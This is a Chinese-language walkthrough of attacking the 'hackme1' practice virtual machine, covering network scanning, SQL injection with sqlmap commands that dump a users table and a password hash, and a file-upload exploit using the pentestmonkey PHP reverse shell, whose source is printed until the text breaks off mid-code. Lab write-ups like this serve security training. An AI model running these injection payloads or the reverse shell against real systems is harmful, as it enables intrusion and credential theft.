Hackme1

---

前言

学习网络安全技术，我认为：主要是在注重实战。

实践是检验真理的唯一标准

接下来主要围绕靶机的攻击进程来学习网络安全技术。

一、搭建靶场环境

攻击机kali:
IP地址：192.168.247.129

靶机hackme1:
IP地址：192.168.247.128

注意：kali和靶机的IP地址需要在同意局域网中即可（同一个网段，并且要在处于同一个网络模式中）

二、实战

2.1信息收集

2.1.1网络扫描

启动kali和靶机后进行扫描

方法一、arp-scan -I eth0 -l (指定的网卡进行扫描)

发现靶机的目标IP。

方法二、masscan扫描网段 -p 扫描端口号

方法三、netdiscover -i 网卡 -r 网段

2.1.2查看靶机开放的端口

nmap扫描：nmap -A -sV -T4 -p- IP 查看靶机的开放端口

现在我们发现有两个端口一个是22，另一个是80.
现在我们分析一下该怎样搞

22段口分析

一般只能暴力破解，暂时还没有合适的字典

80端口分析

访问一下看看

这个时候我们注册一个进去里面

注册好了，提交

这时我们发现这里有好多的书的名字

2.2SQL注入

2.2.1验证是否含有SQL注入漏洞

输入：Linux OS’ and 1=1#

可以插叙到
输入：Linux OS’ and 1=2#

啥都没有，说明存在漏洞

2.2.2sqlmap注入攻击

利用burpsuite抓一下看看

利用sqlmap搞一下

sqlmap -r hack.txt --batch --dbs

看到这个数据库的信息，这时我们试着对webapphacking爆表。

sqlmap -r hack.txt --batch -D webapphacking --tables

爆列

sqlmap -r hack.txt --batch -D webapphacking -T users --dump

现在我们发现这里有用户superadmin.
2386acb2cf356944177746fc92523983解一下这个md5得到用户superadmin的密码：

2.3文件上传漏洞

我们利用这个
superadmin用户的信息登入进去
这个是文件上传漏洞。
可以利用kali中自带的webshell,来进行攻击。

利用这个php文件上传的漏洞来进行攻击

现在修改参数

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
   
   
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if